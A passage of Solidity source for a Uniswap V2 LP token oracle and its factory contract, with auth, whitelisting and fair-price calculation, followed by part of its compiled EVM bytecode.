// should have reasonably-bounded sizes. This reduces the likelihood of overflow due to
// tokens with very low prices but large total supplies.
pragma solidity =0.6.12;
interface ERC20Like {
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface UniswapV2PairLike {
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast
}
interface OracleLike {
function read() external view returns (uint256);
}
// Factory for creating Uniswap V2 LP Token Oracle instances
contract UNIV2LPOracleFactory {
mapping(address => bool) public isOracle;
event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1);
// Create new Uniswap V2 LP Token Oracle instance
function build(
address _owner,
address _src,
bytes32 _wat,
address _orb0,
address _orb1
) public returns (address orcl) {
address tok0 = UniswapV2PairLike(_src).token0();
address tok1 = UniswapV2PairLike(_src).token1();
orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1));
UNIV2LPOracle(orcl).rely(_owner);
UNIV2LPOracle(orcl).deny(address(this));
isOracle[orcl] = true;
emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1);
}
}
contract UNIV2LPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized");
_;
}
address public immutable src; // Price source
// hop and zph are packed into single slot to reduce SLOADs;
// this outweighs the cost from added bitmasking operations.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
bytes32 public immutable wat; // Label of token whose price is being tracked
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (mem slot 0x3)
Feed internal nxt; // Queued price (mem slot 0x4)
// --- Data ---
uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals)
uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals)
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
// --- Math ---
uint256 constant WAD = 10 ** 18;
function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow");
}
function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow");
}
function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow");
}
// FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687
function sqrt (uint256 _x) private pure returns (uint128) {
if (_x == 0) return 0;
else {
uint256 xx = _x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }
if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }
if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }
if (xx >= 0x10000) { xx >>= 16; r <<= 8; }
if (xx >= 0x100) { xx >>= 8; r <<= 4; }
if (xx >= 0x10) { xx >>= 4; r <<= 2; }
if (xx >= 0x8) { r <<= 1; }
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1;
r = (r + _x / r) >> 1; // Seven iterations should be enough
uint256 r1 = _x / r;
return uint128 (r < r1 ? r : r1);
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "UNIV2LPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
emit Rely(msg.sender);
src = _src;
wat = _wat;
uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals());
require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18");
UNIT_0 = 10 ** dec0;
uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals());
require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18");
UNIT_1 = 10 ** dec1;
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint256 _hop) external auth {
require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop");
hop = uint16(_hop);
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "UNIV2LPOracle/no-contract-0");
if(_id == 0) {
orb0 = _orb;
} else if (_id == 1) {
orb1 = _orb;
} else {
revert("UNIV2LPOracle/invalid-id");
}
emit Link(_id, _orb);
}
// For consistency with other oracles.
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return sub(zph, hop);
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
function seek() internal returns (uint128 quote) {
// Sync up reserves of uniswap liquidity pool
UniswapV2PairLike(src).sync();
// Get reserves of uniswap liquidity pool
(uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves();
require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves");
// All Oracle prices are priced with 18 decimals against USD
uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price");
uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price");
// Get LP token supply
uint256 supply = ERC20Like(src).totalSupply();
// This calculation should be overflow-resistant even for tokens with very high or very
// low prices, as the dollar value of each reserve should lie in a fairly controlled range
// regardless of the token prices.
uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD
uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD
uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0
require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow");
quote = uint128(preq); // WAD
}
function poke() external {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "UNIV2LPOracle/is-stopped");
// Equivalent to requiring that pass() returns true.
// The logic is repeated instead of calling pass() to save gas
// (both by eliminating an internal call here, and allowing pass to be external).
require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed");
}
uint128 val = seek();
require(val != 0, "UNIV2LPOracle/invalid-price");
Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later.
cur = cur_;
nxt = Feed(val, 1);
// The below is equivalent to:
//
// zph = block.timestamp + hop
//
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
// zph value starts 24 bits in
shl(24, add(timestamp(), hop_)),
// hop value starts 8 bits in
shl(8, hop_)
)
)
}
// Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs.
emit Value(cur_.val, val);
// Safe to terminate immediately since no postfix modifiers are applied.
assembly {
stop()
}
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "UNIV2LPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "UNIV2LPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length; i++) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
}
}
} | 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635f495ab51461003b578063a97e5c9314610113575b600080fd5b6100e7600480360360a081101561005157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061016d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101556004803603602081101561012957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610549565b60405180821515815260200191505060405180910390f35b6000808573ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156101b657600080fd5b505afa1580156101ca573d6000803e3d6000fd5b505050506040513d60208110156101e057600080fd5b8101908080519060200190929190505050905060008673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561023b57600080fd5b505afa15801561024f573d6000803e3d6000fd5b505050506040513d602081101561026557600080fd5b810190808051906020019092919050505090508686868660405161028890610569565b808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001945050505050604051809103906000f080158015610305573d6000803e3d6000fd5b5092508273ffffffffffffffffffffffffffffffffffffffff166365fae35e896040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561037157600080fd5b505af1158015610385573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16639c52a7f1306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b5050505060016000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fcee871ef523e3dfbfbfa6fb4cd3ebba273434914e91408ede9b8e61401d6e1308a868a8a8a604051808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390a3505095945050505050565b60006020528060005260406000206000915054906101000a900460ff1681565b6131e4806105778339019056fe610100604052610e106001806101000a81548161ffff021916908361ffff1602179055503480156200003057600080fd5b50604051620031e4380380620031e4833981810160405260808110156200005657600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156200010d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180620031c36021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015620001785750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b620001cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806200319f6024913960400191505060405180910390fd5b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508260a0818152505060008473ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015620002de57600080fd5b505afa158015620002f3573d6000803e3d6000fd5b505050506040513d60208110156200030a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036157600080fd5b505afa15801562000376573d6000803e3d6000fd5b505050506040513d60208110156200038d57600080fd5b810190808051906020019092919050505060ff16905060128111156200041b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f746f6b656e302d6465632d67742d3138000081525060200191505060405180910390fd5b80600a0a60c0818152505060008573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156200046f57600080fd5b505afa15801562000484573d6000803e3d6000fd5b505050506040513d60208110156200049b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015620004f257600080fd5b505afa15801562000507573d6000803e3d6000fd5b505050506040513d60208110156200051e57600080fd5b810190808051906020019092919050505060ff1690506012811115620005ac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f746f6b656e312d6465632d67742d3138000081525060200191505060405180910390fd5b80600a0a60e0818152505083600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505060805160601c60a05160c05160e051612b18620006876000398061268552508061263e5250806113a652508061102852806121b6528061223952806125995250612b186000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a6555146105ce578063bf353dbb146105d8578063dca44f6f14610630578063f29c29c41461066457610173565b8063a7a1ed721461054f578063a9c52a391461056f578063b0b8579b146105ac57610173565b806365c4ce7a1461041057806365fae35e146104545780636c2552f91461049857806375f12b21146104cc5780639c52a7f1146104ed578063a4dff0a21461053157610173565b806346d4577d1161013057806346d4577d1461028e5780634ca29923146103075780634fce7a2a1461032557806357de26a41461037d57806359e02dd71461039b57806365af7909146103c257610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a95780631b25b65f146101b35780632e7dc6af1461022c5780633a1cde7514610260575b600080fd5b6101806106a8565b005b61018a61088f565b6040518083815260200182151581526020019250505060405180910390f35b6101b16109a0565b005b61022a600480360360208110156101c957600080fd5b81019080803590602001906401000000008111156101e657600080fd5b8201836020820111156101f857600080fd5b8035906020019184602083028401116401000000008311171561021a57600080fd5b9091929391929390505050610da5565b005b610234611026565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028c6004803603602081101561027657600080fd5b810190808035906020019092919050505061104a565b005b610305600480360360208110156102a457600080fd5b81019080803590602001906401000000008111156102c157600080fd5b8201836020820111156102d357600080fd5b803590602001918460208302840111640100000000831117156102f557600080fd5b90919293919293905050506111ee565b005b61030f6113a4565b6040518082815260200191505060405180910390f35b6103676004803603602081101561033b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113c8565b6040518082815260200191505060405180910390f35b6103856113e0565b6040518082815260200191505060405180910390f35b6103a361155f565b6040518083815260200182151581526020019250505060405180910390f35b61040e600480360360408110156103d857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611670565b005b6104526004803603602081101561042657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061192d565b005b6104966004803603602081101561046a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a76565b005b6104a0611bb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104d4611bda565b604051808260ff16815260200191505060405180910390f35b61052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bed565b005b610539611d2b565b6040518082815260200191505060405180910390f35b610557611df4565b60405180821515815260200191505060405180910390f35b610577611e49565b60405180827cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105b4611e78565b604051808261ffff16815260200191505060405180910390f35b6105d6611e8a565b005b61061a600480360360208110156105ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f88565b6040518082815260200191505060405180910390f35b610638611fa0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106a66004803603602081101561067a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fc6565b005b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60018060006101000a81548160ff021916908360ff1602179055506003600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a8154906fffffffffffffffffffffffffffffffff021916905550506004600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a8154906fffffffffffffffffffffffffffffffff021916905550506000600160036101000a8154817cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602179055507fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b60405160405180910390a1565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461092a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612a996026913960400191505060405180910390fd5b600460000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600460000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614915091509091565b600080600060015460ff8116925061ffff8160081c1693508060181c91505060008214610a35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f69732d73746f70706564000000000000000081525060200191505060405180910390fd5b80421015610aab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f6e6f742d706173736564000000000000000081525060200191505060405180910390fd5b50506000610ab76121b2565b90506000816fffffffffffffffffffffffffffffffff161415610b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f696e76616c69642d7072696365000000000081525060200191505060405180910390fd5b610b4a612a36565b60046040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681525050905080600360008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055509050506040518060400160405280836fffffffffffffffffffffffffffffffff16815260200160016fffffffffffffffffffffffffffffffff16815250600460008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055509050508260081b83420160181b016001557f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7381600001518360405180836fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1005b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60005b8282905081101561102157600073ffffffffffffffffffffffffffffffffffffffff16838383818110610e8b57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610f32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b600160026000858585818110610f4457fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb244838383818110610fcc57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a18080600101915050610e5c565b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146110fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61ffff16811115611198576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f554e4956324c504f7261636c652f696e76616c69642d686f700000000000000081525060200191505060405180910390fd5b806001806101000a81548161ffff021916908361ffff1602179055507fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817816040518082815260200191505060405180910390a150565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146112a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60005b8282905081101561139f576000600260008585858181106112c257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c83838381811061134a57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a180806001019150506112a5565b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60026020528060005260406000206000915090505481565b60006001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461147a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612a996026913960400191505060405180910390fd5b6001600360000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c7565000081525060200191505060405180910390fd5b600360000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b905090565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146115fa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612a996026913960400191505060405180910390fd5b600360000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600360000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614915091509091565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b60008214156118165780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506118d4565b60018214156118655780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506118d3565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f696e76616c69642d6964000000000000000081525060200191505060405180910390fd5b5b7f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a78282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146119e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c81604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611b2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900460ff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ca1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b600080600160039054906101000a90047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff167cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff161415611d885760009050611df1565b611dee600160039054906101000a90047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff167cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660018054906101000a900461ffff1661ffff166127a1565b90505b90565b6000600160039054906101000a90047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff167cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16421015905090565b600160039054906101000a90047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b60018054906101000a900461ffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611f3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b6000600160006101000a81548160ff021916908360ff1602179055507f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b60405160405180910390a1565b60006020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561211d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f6ffc0fabf0709270